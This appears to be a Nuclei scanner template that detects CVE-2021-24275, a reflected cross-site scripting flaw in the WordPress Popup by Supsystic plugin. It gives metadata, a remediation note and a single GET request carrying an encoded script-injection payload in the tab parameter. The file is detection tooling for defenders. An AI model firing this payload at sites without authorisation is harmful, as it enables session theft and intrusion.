53 lines
2.1 KiB
YAML
53 lines
2.1 KiB
YAML
id: CVE-2021-24275
|
|
|
|
info:
|
|
name: Popup by Supsystic <1.10.5 - Cross-Site scripting
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
|
|
remediation: |
|
|
Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
|
|
- http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24275
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24275
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00203
|
|
epss-percentile: 0.58305
|
|
cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: supsystic
|
|
product: popup
|
|
framework: wordpress
|
|
tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,supsystic
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '</script><script>alert(document.domain)</script>'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100abef7f2944e083e781182a6540693db09bed076a9480d7dd85105b612e54835f022100a7c6871634f3d51d7f744cef108be69247aef52b3d44ac454c90128226a135f8:922c64590222798bb761d5b6d8e72950 |